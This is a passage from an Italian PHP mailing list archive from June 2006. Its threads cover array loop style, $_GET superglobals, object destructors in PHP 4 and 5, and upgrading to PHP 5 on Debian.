<005401c68880$f8897ff0$6301a8c0@IdeaFutura.local> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com> <005401c68880$f8897ff0$6301a8c0@IdeaFutura.local> Message-ID: <9e51316e0606050417u6b4a8384t8f976e98f43332a4@mail.gmail.com> On 6/5/06, Cristiano Verondini wrote: > > $peak = 0; > > for ($key = 0; $arr[$key]; $key++) { > ^^^^^^^ > > Cos'? questa cosa terribile? :)) > > Cris Tutta colpa di php From cverondini at deis.unibo.it Mon Jun 5 13:20:09 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Mon Jun 5 13:22:20 2006 Subject: [Php-it] Ordinare un array :-| References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com><9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com><005401c68880$f8897ff0$6301a8c0@IdeaFutura.local> <9e51316e0606050417u6b4a8384t8f976e98f43332a4@mail.gmail.com> Message-ID: <00d401c68892$04610df0$6301a8c0@IdeaFutura.local> >> > for ($key = 0; $arr[$key]; $key++) { >> ^^^^^^^ >> >> Cos'? questa cosa terribile? :)) > Tutta colpa di php Gi?! Meglio un: for ($i=0, $m = sizeof($arr); $i < $m; $i++) ... Cris -- Cristiano Verondini http://www.verondini.it --- [ICQ: 114 190] From matteo.giacomazzi at gmail.com Mon Jun 5 13:27:23 2006 From: matteo.giacomazzi at gmail.com (Matteo Giacomazzi) Date: Mon Jun 5 13:29:01 2006 Subject: [Php-it] setlocale su php/modulo e php/cli In-Reply-To: <44804BD3.40101@beccati.com> References: <44801E1B.1010804@inwind.it> <4480204C.3080301@inwind.it> <44804BD3.40101@beccati.com> Message-ID: Il 02/06/06, Matteo Beccati ha scritto: > > > > Ho provato anche sulla mia macchina mi restituisce en anche se ho messo > > it. Ho lo stesso problema anche io ;-( > > Questo non c'entra nulla con il setlocale, serve per il mod_negotiation > e le multiviews (file statici con estensioni .html.en, .html.it, ecc), > se non erro. Ok, trovato: ho dovuto compilare php on --enable-libgcc. Non so perch? nelle altre macchine/distribuzioni non ne ho mai avuto bisogno (ho un config.nice che riciclo ovunque), comunque con questo ho risolto! Ciao! -- Matteo -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060605/2bef6b33/attachment.htm From petdog at gmail.com Mon Jun 5 13:35:58 2006 From: petdog at gmail.com (petdog) Date: Mon Jun 5 13:37:33 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <00d401c68892$04610df0$6301a8c0@IdeaFutura.local> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com> <005401c68880$f8897ff0$6301a8c0@IdeaFutura.local> <9e51316e0606050417u6b4a8384t8f976e98f43332a4@mail.gmail.com> <00d401c68892$04610df0$6301a8c0@IdeaFutura.local> Message-ID: <9e51316e0606050435k79bbe785s64461d39ef0f88de@mail.gmail.com> On 6/5/06, Cristiano Verondini wrote: > >> > for ($key = 0; $arr[$key]; $key++) { > >> ^^^^^^^ > >> > >> Cos'? questa cosa terribile? :)) > > > Tutta colpa di php > > Gi?! Meglio un: > > for ($i=0, $m = sizeof($arr); $i < $m; $i++) ... Beh, ma finche` il php lo permette, e lo fa anche andare piu` veloce, non mi sento in colpa ad usare il mio metodo. (Ormai poi e` una abitudine :) From cverondini at deis.unibo.it Mon Jun 5 13:37:50 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Mon Jun 5 13:40:00 2006 Subject: [Php-it] Ordinare un array :-| References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com><9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com><005401c68880$f8897ff0$6301a8c0@IdeaFutura.local><9e51316e0606050417u6b4a8384t8f976e98f43332a4@mail.gmail.com><00d401c68892$04610df0$6301a8c0@IdeaFutura.local> <9e51316e0606050435k79bbe785s64461d39ef0f88de@mail.gmail.com> Message-ID: <001101c68894$7c83af20$6301a8c0@IdeaFutura.local> >> for ($i=0, $m = sizeof($arr); $i < $m; $i++) ... > > Beh, ma finche` il php lo permette, e lo fa anche andare piu` veloce, > non mi sento in colpa ad usare il mio metodo. (Ormai poi e` una > abitudine :) Personallmente non penso che questa sia una buona giustificazione. A parte il fatto che probabilmente abilitando i warning la tua soluzione non funziona pi?, ? preferibile la chiarezza e la manutenibilit? rispetto all'efficienza ottenuta con questi costrutti. Ovviamente, my 2 eurocents ... ;) Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From petdog at gmail.com Mon Jun 5 13:54:02 2006 From: petdog at gmail.com (petdog) Date: Mon Jun 5 13:55:38 2006 Subject: [Php-it] Ordinare un array :-| In-Reply-To: <001101c68894$7c83af20$6301a8c0@IdeaFutura.local> References: <7351353a0606021304s57da5fdbob483aa31a43cdeeb@mail.gmail.com> <9e51316e0606021354v52a75a63r99398b969274dbde@mail.gmail.com> <005401c68880$f8897ff0$6301a8c0@IdeaFutura.local> <9e51316e0606050417u6b4a8384t8f976e98f43332a4@mail.gmail.com> <00d401c68892$04610df0$6301a8c0@IdeaFutura.local> <9e51316e0606050435k79bbe785s64461d39ef0f88de@mail.gmail.com> <001101c68894$7c83af20$6301a8c0@IdeaFutura.local> Message-ID: <9e51316e0606050454l8e1f4cay89be48c7a4c60990@mail.gmail.com> On 6/5/06, Cristiano Verondini wrote: > Personallmente non penso che questa sia una buona giustificazione. A > parte il fatto che probabilmente abilitando i warning la tua soluzione non > funziona pi?, ? preferibile la chiarezza e la manutenibilit? rispetto > all'efficienza ottenuta con questi costrutti. > > Ovviamente, my 2 eurocents ... ;) OK, mi arrendo :D Anche se $arr[$key] mi sembra immediato esattamente come usare count // sizeof, (specialmente in un linguaggio in cui puoi fare `echo "10 mucche" + "15 pecore"`) mi arrendo davanti al warning. :) From cesare at ngi.it Mon Jun 5 14:59:22 2006 From: cesare at ngi.it (Cesare D'Amico) Date: Mon Jun 5 15:00:54 2006 Subject: [Php-it] verifica email In-Reply-To: <44840A4A.000001.00952@UTENTE-B80B4324> References: <6.2.1.2.2.20060605113624.02eb2498@mail.logos.net> <44840A4A.000001.00952@UTENTE-B80B4324> Message-ID: <200606051459.22848.cesare@ngi.it> Alle 12:41, luned? 5 giugno 2006, Massimo Pezzotti ha scritto: > Mi puoi speigare come faccio a non ricevere le vostre mail?... C'? scritto in fondo a tutte le email: http://lists.ziobudda.net/mailman/listinfo/php-it -- Cesare D'Amico | Area tecnica Gruppo Volta - web & mkt solutions Via Leida 8 - Verona Tel: 045 21 000 84 Fax: 045 21 000 85 From massimiliano.c at gmail.com Mon Jun 5 15:57:49 2006 From: massimiliano.c at gmail.com (Massy) Date: Mon Jun 5 15:59:26 2006 Subject: [Php-it] Invio mail da file eml. Message-ID: <7351353a0606050657h72609127s1e1afc43f274c9fa@mail.gmail.com> Ciao ragazzi. Mi trovo nella necessit? di inviare una email da un file eml gi? pronto e salvato sul server. Avete suggerimenti, classi da consigliarmi, metodi? :-) Grazie :-) -- Massy -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060605/63e288f1/attachment.html From lfalvo at logos.net Mon Jun 5 17:55:04 2006 From: lfalvo at logos.net (Luca Falvo) Date: Mon Jun 5 17:56:20 2006 Subject: [Php-it] =?iso-8859-1?q?=5BOT=5DNon_=E8_venerdi_pomeriggio_ma=2E?= =?iso-8859-1?q?=2E=2E?= Message-ID: <6.2.1.2.2.20060605174822.0302e6f8@mail.logos.net> 2 chicche che ho trovato in un paio di db... 1. volevo fare un controllo sull'estrazione di alcuni record da un db mysql in base alla data di inserimento... quando vado a guardare e... il campo relativo alla data era un VARCHAR!!! 2. ancora pi? bella: mi chiama un tale e mi dice che alla sua newsletter non si riesce ad iscrivere pi? di un utente al giorno. vado a vedere e ... non solo il campo relativo alla data di iscrizione alla newsletter era un varchar ('yyyy-mm-dd') ma era usato come chiave primaria!!! buon pomeriggio a tutti From marmopasquale at tiscali.it Tue Jun 6 09:54:53 2006 From: marmopasquale at tiscali.it (Marmo Pasquale) Date: Tue Jun 6 09:57:10 2006 Subject: [Php-it] Problemi con variabili in locale Message-ID: <001a01c6893e$956798d0$2301a8c0@portatile> Salve, ? da parecchio che seguo questa lista, non ho mai partecipato in modo attivo, poich? molte volte mi si presentava un problema, spulciando tra le varie mail, quasi sempre gia se ne era parlato. Premesso cio. ecco il mio problema Parte del listato: if ( !isset($sezione) ) { menu_iniziale(); } if ($sezione == "amministratore") { //faccio altro; } il mio problema ? che passando da "barra degli indirizzi il valore di $sezione del tipo: http://miosito.it/index.php?sezione=amministratore la variabile amministratore non mi da alcun segno di vita....non ? dichiarata. Il problema sta sulle mie impostazioni del php, poich? tutto cio ? perfettamente funzionante messo su un altra macchina. Non ne esco piu fuori, perche non riesco a mettere mani al php.ini da dove ? che posso iniziare a vedere? Grazie -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.ziobudda.net/pipermail/php-it/attachments/20060606/8ae4d3dc/attachment.htm From aldo.galimberti at txtgroup.com Tue Jun 6 10:06:29 2006 From: aldo.galimberti at txtgroup.com (Aldo Galimberti) Date: Tue Jun 6 10:08:15 2006 Subject: [Php-it] Problemi con variabili in locale In-Reply-To: <001a01c6893e$956798d0$2301a8c0@portatile> Message-ID: <446CC10100001184@mail08.jumpyint.it> >il mio problema ? che passando da "barra degli indirizzi il valore di $sezione >del tipo: http://miosito.it/index.php?sezione=amministratore >la variabile amministratore non mi da alcun segno di vita....non ? dichiarata. >Il problema sta sulle mie impostazioni del php, poich? tutto cio ? perfettamente >funzionante messo su un altra macchina. >Non ne esco piu fuori, perche non riesco a mettere mani al php.ini da dove >? che posso iniziare a vedere? Nel listato non vedo la dichiarazione della variabile $sezione con gli array superglobali $_GET e $_POST che ormai dal 4.1 in poi Message-ID: <004901c68941$4c2bdb60$2301a8c0@portatile> Ok, funziona! Grazie ----- Original Message ----- From: "Aldo Galimberti" To: Sent: Tuesday, June 06, 2006 10:06 AM Subject: RE: [Php-it] Problemi con variabili in locale ________________SPONSOR______________ Spazio pubblicitario libero. mail a info@ziobudda.net ________________SPONSOR______________ >il mio problema ? che passando da "barra degli indirizzi il valore di >$sezione >del tipo: http://miosito.it/index.php?sezione=amministratore >la variabile amministratore non mi da alcun segno di vita....non ? >dichiarata. >Il problema sta sulle mie impostazioni del php, poich? tutto cio ? >perfettamente >funzionante messo su un altra macchina. >Non ne esco piu fuori, perche non riesco a mettere mani al php.ini da dove >? che posso iniziare a vedere? Nel listato non vedo la dichiarazione della variabile $sezione con gli array superglobali $_GET e $_POST che ormai dal 4.1 in poi Ciao, c'e' qualcuno che usa 'KronoClass' ( o magari l'autore ), la classe per manipolare le date Mi richiede dei file ini per la lingua che non stanno nel package, dove stanno? E/o documentazione. Se poi c'e' qualcosa di meglio.... Devo prelevare la data del giorno, in piu' lingue e formati, poter aggiungere, sottrarre giorni, fare operazioni su date insomma, poter confrontarle. grazie From heber at dalberto.it Tue Jun 6 22:06:30 2006 From: heber at dalberto.it (Heber D'Alberto) Date: Tue Jun 6 22:06:50 2006 Subject: [Php-it] KronoClass In-Reply-To: <4485AB7D.9040103@bluonline.it> References: <4485AB7D.9040103@bluonline.it> Message-ID: <4485E046.5040808@dalberto.it> Carlo Valente wrote: > Devo prelevare la data del giorno, in piu' lingue e formati, poter > aggiungere, sottrarre giorni, fare operazioni su date insomma, poter > confrontarle. Non conosco il pacchetto di cui parli ma hai provato a guardare le classi del package Date del PEAR? http://pear.php.net/package/Date Heber D'Alberto From gianluca at ihuri.it Wed Jun 7 11:09:11 2006 From: gianluca at ihuri.it (=?ISO-8859-15?Q?Gianluca_Ba=F9?=) Date: Wed Jun 7 11:11:11 2006 Subject: [Php-it] unset() di un oggetto Message-ID: <448697B7.9090005@ihuri.it> Salve, una domanda. Per distruggere un oggetto si deve fare la unset() di tutte le variabili istanza che ha all'interno, o almeno delle strutture dati e poi sull'oggetto stesso? O c'? qualche modo di fare questo in automatico? Con un distruttore magari? __destruct ? Saluti a tutti Gianluca From heber at dalberto.it Wed Jun 7 11:41:55 2006 From: heber at dalberto.it (Heber D'Alberto) Date: Wed Jun 7 11:49:47 2006 Subject: [Php-it] unset() di un oggetto In-Reply-To: <448697B7.9090005@ihuri.it> References: <448697B7.9090005@ihuri.it> Message-ID: <44869F63.1070400@dalberto.it> Gianluca Ba? wrote: > Salve, > una domanda. Per distruggere un oggetto si deve fare la unset() di tutte > le variabili istanza che ha all'interno, o almeno delle strutture dati e > poi sull'oggetto stesso? > O c'? qualche modo di fare questo in automatico? Con un distruttore > magari? __destruct ? In PHP4 non esiste il metodo per la distruzione dell'oggetto ma questo avviene in automatico quando la variabile che contiene il riferimento all'oggetto stesso viene distrutta ad esempio con l'uso dell'unset. In PHP5, invece, ? stato implementato il metodo per la distruzione dell'oggetto stesso (__destruct()). Heber D'Alberto From AlberT at superalbert.it Wed Jun 7 11:53:47 2006 From: AlberT at superalbert.it (Emiliano Gabrielli (aka AlberT)) Date: Wed Jun 7 11:55:46 2006 Subject: [Php-it] unset() di un oggetto In-Reply-To: <44869F63.1070400@dalberto.it> References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it> Message-ID: <200606071153.47324.AlberT@superalbert.it> On Wednesday 07 June 2006 11:41, Heber D'Alberto wrote: > In PHP4 non esiste il metodo per la distruzione dell'oggetto ma questo > avviene in automatico quando la variabile che contiene il riferimento > all'oggetto stesso viene distrutta ad esempio con l'uso dell'unset. questo non ? del tutto corretto (ovviamente)... se l'oggetto in questione ha ad esempio aperto una connessione ad un DB, allocato un segmento di SHM non v'? GC che regga e che possa correttamente liberare tali risorse... l'unica cosa ? scrivere un metodo destruct (che conosce cosa deve deallocare) ed invocarlo prima dell'unset... -- From heber at dalberto.it Wed Jun 7 11:57:55 2006 From: heber at dalberto.it (Heber D'Alberto) Date: Wed Jun 7 12:51:06 2006 Subject: [Php-it] unset() di un oggetto In-Reply-To: <200606071153.47324.AlberT@superalbert.it> References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it> <200606071153.47324.AlberT@superalbert.it> Message-ID: <4486A323.6060409@dalberto.it> Emiliano Gabrielli (aka AlberT) wrote: > se l'oggetto in questione ha ad esempio aperto una connessione ad un DB, > allocato un segmento di SHM non v'? GC che regga e che possa correttamente > liberare tali risorse... Hai ragione, mi ero dimenticato di aggiungere questa nota che per me era sottintesa :-D Heber D'Alberto From ml at tassoman.com Wed Jun 7 13:46:40 2006 From: ml at tassoman.com (Tassoman (mailing)) Date: Wed Jun 7 13:48:40 2006 Subject: [Php-it] da php4 a php5 con apt-get Message-ID: <4486BCA0.3080109@tassoman.com> Ciao a tutti, credo che oramai sia quasi giunto il momento di sostituire php4 con php5 sulla macchina di produzione. Qualcuno di voi si ? gi? prodigato con Debian sarge? Teoricamente, dovrebbe bastare dpkg --list | grep -i php4 Prendere nota dei pacchetti, e rimuoverli con apt-get remove Dopo di che installare la corrispettiva versione 5. Mi resta qualche perplessit? a rigurardo del linking dei moduli dentro apache2 e dell'uso di php5 con mysql4.0 Consigli / suggerimenti? Grazie a tutti. From cverondini at deis.unibo.it Wed Jun 7 14:27:03 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Wed Jun 7 14:43:49 2006 Subject: [Php-it] unset() di un oggetto References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it> Message-ID: <03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> > In PHP5, invece, ? stato implementato il metodo per la distruzione > dell'oggetto stesso (__destruct()). Non ? un metodo *per* la distruzione dell'oggetto, ma un metodo che viene *chiamato* nel momento della distruzione, che avviene con gli stessi meccanismi di PHP 4, cio? con unset() o con l'uscita della variabile (ed ogni suo riferimento) dallo scope. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From gianluca at ihuri.it Wed Jun 7 15:01:11 2006 From: gianluca at ihuri.it (=?ISO-8859-15?Q?Gianluca_Ba=F9?=) Date: Wed Jun 7 15:03:14 2006 Subject: [Php-it] unset() di un oggetto In-Reply-To: <03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it> <03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> Message-ID: <4486CE17.8070607@ihuri.it> >> In PHP5, invece, ? stato implementato il metodo per la distruzione >> dell'oggetto stesso (__destruct()). > > > Non ? un metodo *per* la distruzione dell'oggetto, ma un metodo che > viene *chiamato* nel momento della distruzione, che avviene con gli > stessi meccanismi di PHP 4, cio? con unset() o con l'uscita della > variabile (ed ogni suo riferimento) dallo scope. > > Cris > Ecco ma quindi io implemento __destruct() in modo che mi cancelli tutto lo stato interno dell'oggetto. Poi questo viene chiamato in maniera trasparente dalla unset(), giusto cos? ? From heber at dalberto.it Wed Jun 7 15:56:06 2006 From: heber at dalberto.it (Heber D'Alberto) Date: Wed Jun 7 15:55:52 2006 Subject: [Php-it] unset() di un oggetto In-Reply-To: <03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it> <03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> Message-ID: <4486DAF6.5010109@dalberto.it> Cristiano Verondini wrote: >> In PHP5, invece, ? stato implementato il metodo per la distruzione >> dell'oggetto stesso (__destruct()). > > > Non ? un metodo *per* la distruzione dell'oggetto, ma un metodo che > viene *chiamato* nel momento della distruzione, che avviene con gli > stessi meccanismi di PHP 4, cio? con unset() o con l'uscita della > variabile (ed ogni suo riferimento) dallo scope. Quindi nel PHP5 funziona alla stessa maniera che nel PHP4 usando l'unset() dopo aver opportunamente verificato che non sono ancora agganciati altri oggetti e/o streaming attivi all'oggetto stesso da eliminare. Giusto? Confermatemi o smentitemi perch? con la 5 non ancora ci metto mano per niente. :-( Heber D'Alberto From cverondini at deis.unibo.it Wed Jun 7 16:05:27 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Wed Jun 7 16:08:04 2006 Subject: [Php-it] unset() di un oggetto References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it><03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> <4486CE17.8070607@ihuri.it> Message-ID: <042d01c68a3b$70ac4740$6301a8c0@IdeaFutura.local> >> Non ? un metodo *per* la distruzione dell'oggetto, ma un metodo >> che viene *chiamato* nel momento della distruzione, che avviene con >> gli stessi meccanismi di PHP 4, cio? con unset() o con l'uscita della >> variabile (ed ogni suo riferimento) dallo scope. > Ecco ma quindi io implemento __destruct() in modo che mi cancelli > tutto lo stato interno dell'oggetto. Poi questo viene chiamato in > maniera trasparente dalla unset(), giusto cos? ? Lo stato interno dell'oggetto viene cancellato automaticamente. Le variabili quindi escono di scope, e avviene un unset() implicito. Il distruttore deve fare le cose che non possono essere fatte automaticamente, quindi eventuali chiusure di connessioni, flush di dati e quant'altro. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From cverondini at deis.unibo.it Wed Jun 7 16:07:32 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Wed Jun 7 16:10:09 2006 Subject: [Php-it] unset() di un oggetto References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it><03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> <4486DAF6.5010109@dalberto.it> Message-ID: <042e01c68a3b$bb055430$6301a8c0@IdeaFutura.local> >> Non ? un metodo *per* la distruzione dell'oggetto, ma un metodo >> che viene *chiamato* nel momento della distruzione, che avviene con >> gli stessi meccanismi di PHP 4, cio? con unset() o con l'uscita della >> variabile (ed ogni suo riferimento) dallo scope. > Quindi nel PHP5 funziona alla stessa maniera che nel PHP4 usando > l'unset() dopo aver opportunamente verificato che non sono ancora > agganciati altri oggetti e/o streaming attivi all'oggetto stesso da > eliminare. Giusto? Se ci sono altri oggetti che compaiono come variabili membro dell'oggetto che vuoi cancellare, la cancellazine di questi e la conseguente chiamata del distruttore, viene fatta automaticamente. Ovviamente, nel caso in cui ci siano dei *riferimenti* all'oggetto, la cancellazione reale dell'oggetto avverr? solamente quando viene cancellato l'ultimo riferimento. Da quanto detto risulta ovvio che non si deve chiamare esplicitamente il distruttore di un oggetto. Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From AlberT at superalbert.it Wed Jun 7 18:35:16 2006 From: AlberT at superalbert.it (Emiliano Gabrielli (aka AlberT)) Date: Wed Jun 7 18:37:16 2006 Subject: [Php-it] da php4 a php5 con apt-get In-Reply-To: <4486BCA0.3080109@tassoman.com> References: <4486BCA0.3080109@tassoman.com> Message-ID: <200606071835.16269.AlberT@superalbert.it> On Wednesday 07 June 2006 13:46, Tassoman (mailing) wrote: > Prendere nota dei pacchetti, e rimuoverli con apt-get remove troppo complesso :-) apt-get --purge remove .\*php4.\* non sottovalutate la potenza del lato oscuro di apt :-PP -- From ml at tassoman.com Wed Jun 7 19:23:15 2006 From: ml at tassoman.com (Tassoman (mailing)) Date: Wed Jun 7 19:25:17 2006 Subject: [Php-it] da php4 a php5 con apt-get In-Reply-To: <200606071835.16269.AlberT@superalbert.it> References: <4486BCA0.3080109@tassoman.com> <200606071835.16269.AlberT@superalbert.it> Message-ID: <44870B83.2050902@tassoman.com> Emiliano Gabrielli (aka AlberT) ha scritto in data 07/06/2006 18:35 : > troppo complesso :-) > > apt-get --purge remove .\*php4.\* > > non sottovalutate la potenza del lato oscuro di apt :-PP > Moo, e se li insieme litigano? From ml at tassoman.com Wed Jun 7 20:59:35 2006 From: ml at tassoman.com (Tassoman (mailing)) Date: Wed Jun 7 21:01:37 2006 Subject: [Php-it] da php4 a php5 con apt-get In-Reply-To: <200606071835.16269.AlberT@superalbert.it> References: <4486BCA0.3080109@tassoman.com> <200606071835.16269.AlberT@superalbert.it> Message-ID: <44872217.4070109@tassoman.com> Emiliano Gabrielli (aka AlberT) ha scritto in data 07/06/2006 18:35 : > troppo complesso :-) > > apt-get --purge remove .\*php4.\* > > non sottovalutate la potenza del lato oscuro di apt :-PP > Moo, e se li lascio insieme litigano? From heber at dalberto.it Wed Jun 7 21:46:57 2006 From: heber at dalberto.it (Heber D'Alberto) Date: Wed Jun 7 21:47:13 2006 Subject: [Php-it] unset() di un oggetto In-Reply-To: <042e01c68a3b$bb055430$6301a8c0@IdeaFutura.local> References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it><03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> <4486DAF6.5010109@dalberto.it> <042e01c68a3b$bb055430$6301a8c0@IdeaFutura.local> Message-ID: <44872D31.5090502@dalberto.it> Cristiano Verondini wrote: > Se ci sono altri oggetti che compaiono come variabili membro > dell'oggetto che vuoi cancellare, la cancellazine di questi e la > conseguente chiamata del distruttore, viene fatta automaticamente. > Ovviamente, nel caso in cui ci siano dei *riferimenti* all'oggetto, la > cancellazione reale dell'oggetto avverr? solamente quando viene > cancellato l'ultimo riferimento. > > Da quanto detto risulta ovvio che non si deve chiamare esplicitamente > il distruttore di un oggetto. Scusa la petulanza ma mi interessa capire bene sta cosa. Dunque, mettiamo che ho: Class A { ... function pippo() { $altroOggetto = new AltroOggetto(); ... } } quindi: $pluto = new A(); ... mettiamo che, ad un certo punto, faccio un uso esplicito di unset($pluto), succede che: 1) viene distrutto (e quindi deallocato) $altroOggetto e 2) viene distrutto l'oggetto $pluto. E' corretto o mi sbaglio? Ma mettiamo che $altroOggetto abbia aperta una sessione con un DBMS o altro simile, cosa succede in questo caso? Da quello che mi dici viene invocato il metodo __destruct() (se presente) implementato nella classe A o mi sbaglio? Quindi, se ? vero quanto sopra, devo aver implementato in tale metodo (__destruct()) un qualcosa che mi chiuda questo collegamento con il DBMS. Giusto? Spero di essermi spiegato. Heber D'Alberto From AlberT at superalbert.it Thu Jun 8 09:47:45 2006 From: AlberT at superalbert.it (Emiliano Gabrielli (aka AlberT)) Date: Thu Jun 8 09:49:54 2006 Subject: [Php-it] da php4 a php5 con apt-get In-Reply-To: <44870B83.2050902@tassoman.com> References: <4486BCA0.3080109@tassoman.com> <200606071835.16269.AlberT@superalbert.it> <44870B83.2050902@tassoman.com> Message-ID: <200606080947.45843.AlberT@superalbert.it> On Wednesday 07 June 2006 19:23, Tassoman (mailing) wrote: > Moo, e se li insieme litigano? come moduli di apache si (a meno di non installarseli manualmente in modo da usare diverse estensioni per i due tipi o configurare un proxy o altre amenit? simili).. puoi per? avere entrambe le versioni di php-cli... puoi sempre avere php5 ed attivare la compatibilit? con lo zend 1 per farlo comportare come php4 (almeno in teoria) -- From ml at tassoman.com Thu Jun 8 10:03:55 2006 From: ml at tassoman.com (Tassoman (mailing)) Date: Thu Jun 8 10:06:06 2006 Subject: [Php-it] da php4 a php5 con apt-get In-Reply-To: <200606080947.45843.AlberT@superalbert.it> References: <4486BCA0.3080109@tassoman.com> <200606071835.16269.AlberT@superalbert.it> <44870B83.2050902@tassoman.com> <200606080947.45843.AlberT@superalbert.it> Message-ID: <4487D9EB.80609@tassoman.com> Emiliano Gabrielli (aka AlberT) ha scritto in data 08/06/2006 09:47 : > puoi sempre avere php5 ed attivare la compatibilit? con lo zend 1 per farlo > comportare come php4 (almeno in teoria) L'attivazione della retrocompatibilit? sta su php.ini mi pare. (almeno in teoria) significa che in pratica non funziona? From php at tinto.org Thu Jun 8 10:23:59 2006 From: php at tinto.org (Tinto) Date: Thu Jun 8 10:26:08 2006 Subject: [Php-it] Re: da php4 a php5 con apt-get In-Reply-To: <4486BCA0.3080109@tassoman.com> References: <4486BCA0.3080109@tassoman.com> Message-ID: <20060608082400.10227.qmail@webmaild.fe1.aruba.it> Tassoman (mailing) writes: > Mi resta qualche perplessit? a rigurardo del linking dei moduli dentro > apache2 e dell'uso di php5 con mysql4.0 non conviene installare il php5 e provarlo prima di togliere il 4? se non ricordo male quando installi il 5 apt-get dice ad apache di usarlo, ma e' facile tornare indietro cambiando un paio di file... ciao :-P -- tinto From cverondini at deis.unibo.it Thu Jun 8 11:32:32 2006 From: cverondini at deis.unibo.it (Cristiano Verondini) Date: Thu Jun 8 11:38:12 2006 Subject: [Php-it] unset() di un oggetto References: <448697B7.9090005@ihuri.it> <44869F63.1070400@dalberto.it><03b001c68a2f$00313a40$6301a8c0@IdeaFutura.local> <4486DAF6.5010109@dalberto.it><042e01c68a3b$bb055430$6301a8c0@IdeaFutura.local> <44872D31.5090502@dalberto.it> Message-ID: <04cb01c68ade$dc156400$6301a8c0@IdeaFutura.local> > Scusa la petulanza ma mi interessa capire bene sta cosa. Non scusarti, anzi, credo che questi scambi di idee possano servire a tutti! :) > Dunque, mettiamo che ho: > Class A { > ... > function pippo() { > $altroOggetto = new AltroOggetto(); > ... > } > } > > quindi: > $pluto = new A(); > ... > > mettiamo che, ad un certo punto, faccio un uso esplicito di > unset($pluto), succede che: > 1) viene distrutto (e quindi deallocato) $altroOggetto e > 2) viene distrutto l'oggetto $pluto. > E' corretto o mi sbaglio? Il tuo esempio non ? calzante, perch? $altroOggetto ? una variabile locale, e quindi non viene memorizzata nell'istanza dell'oggetto. Provo ad interpretare quello che volevi dire: class A { var $mOggetto = NULL; function A() { $this->mOggetto =& new AltroOggetto(); } } $pluto =& new A(); Quando viene creata l'istanza $pluto, viene creata anche un'istanza di AltroOggetto ed un riferimento a quest'istanza viene memorizzato nella variabile $mOggetto dell'istanza $pluto. Se ora faccio un unset($pluto), vengono distrutte (il che equivale ad un unset()) tutte le variabili membro dell'istanza $pluto, quindi anche l'istanza di AltroOggetto che era stata creata viene distrutta. Quando si distrugge un oggetto, viene chiamato il metodo __destruct(), se esiste, *prima* della cancellazione delle variabili locali. Quindi ? come se venisse data un'ultima possibilit? prima dell'eliminazioni delle variabili membro. > Ma mettiamo che $altroOggetto abbia aperta una sessione con un DBMS o > altro simile, cosa succede in questo caso? Da quello che mi dici viene > invocato il metodo __destruct() (se presente) implementato nella > classe A o mi sbaglio? Viene chiamato il metodo __destruct() di tutte le istanze che stai appunto eliminando. Se l'istanza di AltroOggetto ha aperta una connessione col DB o qualsiasi altra cosa che ? necessario chiudere, quest'operazione andr? fatta nel suo distruttore. In pratica la sequenza delle operazioni, a fronte di un unset($pluto) ? la seguente: (1) cancellazione di tutte le variabili membro dell'istanza $pluto (1.a) invocazione del distruttore di mOggetto (2) invocazione del distruttore di pluto > Quindi, se ? vero quanto sopra, devo aver implementato in tale metodo > (__destruct()) un qualcosa che mi chiuda questo collegamento con il > DBMS. Giusto? Esatto. Poi, se vogliamo, il distruttore pu? essere usato in modi anche pi creativi :) Cris -- Cristiano Verondini http://noway.ing.unibo.it --- [ICQ: 114 190] From gianluca at ihuri.it Thu Jun 8 22:55:27 2006 From: gianluca at ihuri.it (=?ISO-8859-15?Q?Gianluca_Ba=F9?=) Date: Thu Jun 8 22:57:46 2006 Subject: [Php-it] Query dirette su db remoto o via xmlrpc ? Message-ID: <44888EBF.2060309@ihuri.it> Salve a tutti, ho un consiglio da chiedervi. Ho una serie di siti web molto trafficati che ad ogni accesso leggono alcune loro impostazioni e scrivono delle statistiche su un server mysql esterno. La domanda che mi pongo ?: ? meglio far collegare direttamente tutti i siti al server mysql ed eseguire direttamente le query o ? meglio implementare un engine xmlrpc che comunichi con un server sulla macchina dabase e che le query vengano eseguite localmente e dopo i dati ricavati inviati come risposta? In pratica: ? pi? veloce e performante una connessione diretta a un server mysql remoto o una connessione http che poi fa eseguire le query alla macchina locale al server? Spero di essere stato chiaro. Grazie ancora per i consigli, su questo thread e su quello 